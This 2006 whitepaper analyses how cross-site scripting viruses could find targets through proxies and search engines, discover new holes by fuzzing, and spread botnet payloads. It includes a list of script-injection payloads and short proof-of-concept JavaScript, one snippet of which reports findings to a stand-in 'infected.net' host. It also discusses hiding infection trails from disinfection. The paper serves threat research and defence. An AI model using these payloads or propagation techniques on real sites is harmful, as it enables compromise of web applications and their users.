The Advanced Cross-site Scipting Virus
Wade Alcorn
wade@bindshell.net
http://www.bindshell.net
Whitepaper
Published: December 2006
Last Edited: None
Version: 1.0.0
Copyright (c) 2006 Wade Alcorn
All Rights Reserved Worldwide
Abstract
In October 2005, the author presented a paper exploring the then-new threat of cross-site scripting (XSS) viruses. These viruses were a new platform independent species that propagate using a symbiotic relationship between the web client and the server. Since this time techniques in this area have increased in sophistication and impact. This paper will explore the real potential of the web being infected with a cross-site scripting virus that autonomously searches for, and employs, new vulnerabilities for propagation.
Introduction
Since the release of the ‘The Cross-Site Scripting Virus’ paper, various malware creators have produced XSS viruses that have been seen in the wild. The paper showed it was possible to inject self propagating XSS code into a web application and have it spread via client web browsers. Wild cross-site scripting viruses have been of limited sophistication and have (fortunately) delivered relatively malign payloads. Focused research in this area has increased the potential impact and sophistication of a wild malicious cross-site scripting virus.
Using new techniques, the virility and impact of cross-site scripting viruses has the potential to increase dramatically. There have been three main areas of advancement. The areas are, constructing lists of potential target requests (using search engines), finding previously unknown vulnerabilities for propagation and delivering more sophisticated payloads.This means that future cross-site scripting viruses will autonomously search out and employ new vulnerabilities to propagate across the web.
Payload Developments
Recent development has focussed on increasing the functionality of offensive tools and utilities based within web browsers. Some tools, such as Browser Exploitation Frameworks, have been developed to illustrate the impact of cross-site scripting vulnerabilities or maliciously constructed sites. The Browser Exploitation Frameworks insert hooks (code) into the web site that establishes a real-time control channel between the victim's browser and the attacker. Once the browser (zombie) or group of browsers is connected to the framework, the attacker can send real-time commands to perform distributed portscanning, finger printing, inter-protocol communication and/or push exploit browsers.
Browser Exploitation Framework hooks can be propagated as the payload of a cross-site scripting virus, making for an increasingly dangerous combination. The virus writer will rapidly build a botnet of zombie browsers that have the potential to preform DDOS, among other attacks.
Increased Virility
Conventional self propagating malware can only (feasibly) use one or more pre-known exploits to infect victim systems. The restriction to have hard set exploits at the time of virus creation is due to the complexity of binary vulnerability discovery and the intelligence required to move to the exploitation stage. Programmatic methods to discover and exploit previously unknown vulnerabilities is not currently possible at any advanced level.
Cross-site scripting is not affected by these restraints to the same degree, as its exploitation is not as complex and contains less possibilities. Using this restricted set of possibilities, a XSS virus (in real-time) can discover target sites, find new vulnerabilities, exploit them and propagate the viral code. The result is a virus that independently discovers new vulnerabilities to propagate itself.
Finding Potential Targets
The first main advance in the virility of XSS viruses is the methods that side-step the “same origin policy” security measure. The “same origin policy” is implemented by all browsers for security. It prevents scripts loaded from one domain from executing and accessing data in another. Simply by viewing multiple sites through a proxying web server (such as google translate) allows scripts to be executed on the content of any proxied domain. There by, side-stepping the “same origin policy”. The browser “correctly” believes all the content is from the one domain.
An infected site can be loaded though the proxying web server which then subsequently loads another frame containing the proxied target site. Both of the domains are now loaded within the same proxy domain allowing scripts and content to be accessed “across domains”. At no stage has the “same origin policy” been broken.
The aim of this step is to discover new potential targets. To discover the new site the proxied site could create a proxied iframe that queries a search engine for file types like 'asp' and 'php'. The resultant content from the search engine will contain numerous URLs complete with URI and request parameters. Once having a list from the search engine the scripts (from the infected page) could parse it to produce a new list of requests containing potentially vulnerable parameters.
From this point the XSS virus logic has access to any public search engine, thereby having access to a compilable list spanning all indexed sites on the Internet. The results of search engines are typically ordered in popularity, which corresponds to the priority of the cross-site scripting virus infection as the more popular sites will have more browsers connecting to them. Thus, a successful server infection will create more infected web browsers. Proxying web servers are not new ,but the use of them to discover new targets for XSS viruses has not yet been employed in the wild.
Discovering New Vulnerabilities
Using the above described method, there are no shortage of new domains to attempt to infect. The XSS virus logic can perform all the spidering for cross-site scripting vulnerabilities using the same method through the proxy. But this is likely to quickly be spotted as an abuse by the proxying web server provider and the offending IP address blacklisted.
An alternative and less noisy method is to use the proxy to find new domains and determine their request structure. From this position the infected browser can perform all attempted injection requests directly to the target domain. More advanced XSS vulnerability discovery methods would use both fuzzed values and (high probability) preset lists within parameter values. After each exploitation attempt an iframe can (re)load the resulting page. If a vulnerability is found the injected code will redirect the frame back to the infected domain and inform it of the successful injection request.
Example of a preset list:
<script>[[viral code]]</script>
><script>[[viral code]]</script>
“><script>[[viral code]]</script>Trivial example of seaching vulnerability searching code:
// an example of (poor) XSS searching code
var base = 'FUZZ<scr' + 'ipt>SCRIPT</scr' + 'ipt>';
var cmd = 'document.location.href="http://infected.net/vuln.htm#REQ"';
var potential_req = 'http://test.net/blah.asp?foo=PARAM';
function getRandChar() {
i = Math.floor((128+1)*Math.random());
return String.fromCharCode(i);
}
telltail_req = potential_req.replace('PARAM', base);
telltail_req = telltail_req.replace('FUZZ', getRandChar());
req = cmd.replace('REQ', escape(telltail_req));
req = telltail_req.replace('SCRIPT', req);
alert(req);Communicating the vulnerability to the main cross-site scripting virus logic can occur in multiple methods. For example, the successful discovery of a XSS vulnerability could redirect the frame back to the initiating domain and write the vulnerable requests to the cookie. The main XSS virus logic can periodically read the cookie and use the discovered vulnerable requests to the propagate XSS viral code.
Example vulnerability discovery code:
// clear cookie
document.cookie = '';
alert(document.cookie);
// set the hash as the cookie
// the hash will be the vulnable request
if(document.location.hash.length != 0) {
h = document.location.hash;
h = h.replace('#', '');
eval(h);
} else {
var iframe = document.createElement('iframe');
// iframe.src = test_url;
iframe.src = 'http://test.net/b.htm#document.location.href="http://localhost/a.htmhashdocument.cookie=\\\"rr\\\";alert(\\\"done\\\")\"';
// do request
document.body.appendChild(iframe);
// show the cookie
setInterval(function () {
alert(document.cookie);
}, 5000);
}Viral Logic Injection
The injection of viral logic is straight forward and proceeds in the same manner as standard cross-site scripting. Once the main logic of the XSS virus knows of a new vulnerable request, the main payload can be injected into the new domain. This completes an autonomous propagation of the viral logic through a potentially new and novel XSS vulnerability.
Further Research
Disinfection
It is likely that cross-site scripting viruses of this sophistication will be difficult to disinfect as vulnerability for each site will possibly be unique. Conventional viruses can be disinfected by a generic program to remove the virus and patch the vulnerability. Cross-site scripting viruses are extremely unlikely to have the luxury of a generic disinfection patch. Research into disinfection is currently limited and sites haven't publicly detailed their disinfection experiences.
Trail Masking
Disinfection is likely to involve tracking down infected web applications though the referrer entry in the server logs. Once the administrators know the originating domain it is possible to inform them of the infection. The injected infection code can then be removed and permanent cross-site scripting vulnerably fixed.
Unfortunately for this disinfection method there are potentially counter measures that can increase the complexity. The virus implementation could redirect requests off an intermediary (vulnerable to non-persistent cross-site scripting) to the target web application. This would mask the domain of the infected web application and the target logs will contain the redirected domain as the referrer. Further research is required into this area.
Distribution
The more advanced cross-site scripting viruses could use inter-browser communication methods to distribute spidering and communicate discovered vulnerabilities. The vulnerabilities discovered through fuzzing would be added to the preset list of all the infected browser making them increasing viral.
The actual searching for vulnerabilities could also be distributed to decrease the time required to infect a site. Similar distributed methods have been shown in Browser Exploitation Framework portscanning. There has been limited research into this area.
Natural Selection
Like cross-site scripting viruses' conventional cousins it will be possible for the viruses to mutate and possibly be naturally selected by detection systems. One difference that may increase the mutability of XSS is that the exploitation method may change as well. The extent of which has not been explored to knowledge of the author.
Conclusion
This paper has explored the real potential of an autonomous advanced cross-site scripting virus infecting the web using previously unknown vulnerabilities for propagation. The virus can employ new techniques for constructing lists of potential target requests, finding previously unknown vulnerabilities for propagation and delivering more sophisticated payloads. To date, wild cross-site scripting viruses have been of limited sophistication and have fortunately delivered relatively malign payloads. Proactive measures need to be taken in order to combat this threat, before cross-site scripting viruses become endemic.
References
[1] The Cross-site Scripting Virus
http://www.bindshell.net/papers/xssv
[2] Inter-browser Commutation
http://www.bindshell.net/entry/12
[3] BeEF - Browser Exploitation Framework
http://www.bindshell.net/tools/beef
[4] Automated XSS Detection
http://www.gnucitizen.org/blog/automated-xss-detection
[5] Google Search API Worms
http://www.gnucitizen.org/blog/google-search-api-worms
[6] Remote Scripting with IFRAMEs
http://developer.apple.com/internet/webcontent/iframe.html
[7] HTML Code Injection and Cross-site scripting
http://www.technicalinfo.net/papers/CSS.html
[8] CGISecurity's Cross Site Scripting FAQ
http://www.cgisecurity.com/articles/xss-faq.shtml